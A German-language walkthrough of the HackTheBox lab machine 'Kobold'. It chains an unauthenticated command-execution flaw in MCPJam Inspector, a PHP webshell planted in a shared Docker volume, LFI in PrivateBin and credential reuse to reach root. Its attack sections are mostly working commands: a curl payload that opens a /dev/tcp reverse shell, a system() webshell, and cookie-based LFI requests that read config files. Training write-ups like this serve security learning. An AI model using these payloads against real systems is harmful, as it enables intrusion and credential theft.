RCE über MCPJam Inspector in HackTheBox Kobold: Vollständige Anleitung
HackTheBox Kobold (Staffel 10, Einfach) verdeutlicht eine reale Bedrohung durch offengelegte Entwicklertools im KI/ML-Ökosystem. Der primäre Angriffsvektor ist eine unauthentifizierte RCE in MCPJam Inspector v1.4.2 (GHSA-232v-j27c-5pp6). Dies führt zu einer Kette über Docker-Volumes und Wiederverwendung von Zugangsdaten, die letztlich Root-Zugriff ermöglicht. Diese Analyse richtet sich an mittlere bis erfahrene DevSecOps-Experten.
Nmap zeigt die Ports 22 (SSH), 80/443 (nginx, kobold.htb) und 3552 (Arcane-Dashboard). Entscheidend ist ein Wildcard *.kobold.htb in SSL und die Subdomain mcp.kobold.htb mit einem offengelegten MCPJam Inspector.
Aufklärung und Enumeration
Standard-Nmap-Scan:
nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>
| Port | Dienst | Version | Hinweise |
|------|---------|---------|-------|
| 22 | SSH | OpenSSH 9.6p1 | Kein CVE |
| 80 | HTTP | nginx 1.24.0 | Leitet zu HTTPS weiter |
| 443 | HTTPS | nginx 1.24.0 | kobold.htb |
| 3552 | HTTP | - | Arcane-Dashboard |
ffuf für Vhost-Enumeration:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154
Gefunden mcp.kobold.htb — MCPJam Inspector v1.4.2. Vollzugriff: Server, Chat, App Builder ohne Anmeldung. Verbunden mit Ollama.
Model Context Protocol (MCP) — ein Protokoll zur Integration von KI-Modellen mit externen Tools. Inspector lauscht auf 0.0.0.0, und die API /api/mcp/connect akzeptiert serverConfig.command ohne Validierung.
Erster Zugang: RCE in MCPJam
Listener-Einrichtung:
nc -lvnp 4444
Payload:
curl -k https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Ihre IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'
Shell als ben (uid=1001, groups=ben,operator). Stabilisierung:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm
User-Flag: /home/ben/user.txt.
Interne Aufklärung
id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
cat /etc/group | grep docker
# docker:x:111:alice
Benutzer mit Shell: root, ben, alice. ben — operator, alice — docker.
ss -tlnp zeigt localhost:8080 (PrivateBin Docker), 6274 (MCPJam). Nginx-Konfiguration zeigt bin.kobold.htb → localhost:8080.
Die Operator-Gruppe hat Lese-/Schreibzugriff auf /privatebin-data/ — ein geteiltes Docker-Volume.
find / -group operator 2>/dev/null
LFI in PrivateBin über Volume
PrivateBin 2.0.2 (CVE-2025-64714, GHSA-g2j9-g8r5-rg82). LFI über Cookie template, wenn templateselection = true.
- Webshell im Volume:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
- Ausführung:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=id"
- conf.php auslesen:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=cat /srv/cfg/conf.php"
MySQL-Zugangsdaten: Benutzername privatebin, Passwort geleakt.
Privilegieneskalation: Wiederverwendung von Zugangsdaten
Checkliste:
- SSH (alice/ben/root + geleakte)
- su alice/root
- Arcane: arcane/arcane-admin + geleakte
Erfolg: arcane / <GELEAKTES_PASSWORT> in Arcane v1.13.0 auf :3552.
Im Dashboard volle Docker-Kontrolle. Container mit privilegiertem Mount /host erstellen → Root-Shell.
Wichtige Erkenntnisse:
- Offengelegte MCP-Tools (GHSA-232v-j27c-5pp6) — ein neuer RCE-Vektor in KI-Infrastruktur
- Geteilte Docker-Volumes + Operator-Gruppe = Zugriff auf Host-Dateisystem
- Wiederverwendung von Zugangsdaten: Standardbenutzernamen + geleakte Passwörter
- LFI-Ketten über beschreibbare Volumes umgehen Container-Isolation
- Immer Wildcard-Subdomains und interne Dienste enumerieren
— Editorial Team
Noch keine Kommentare.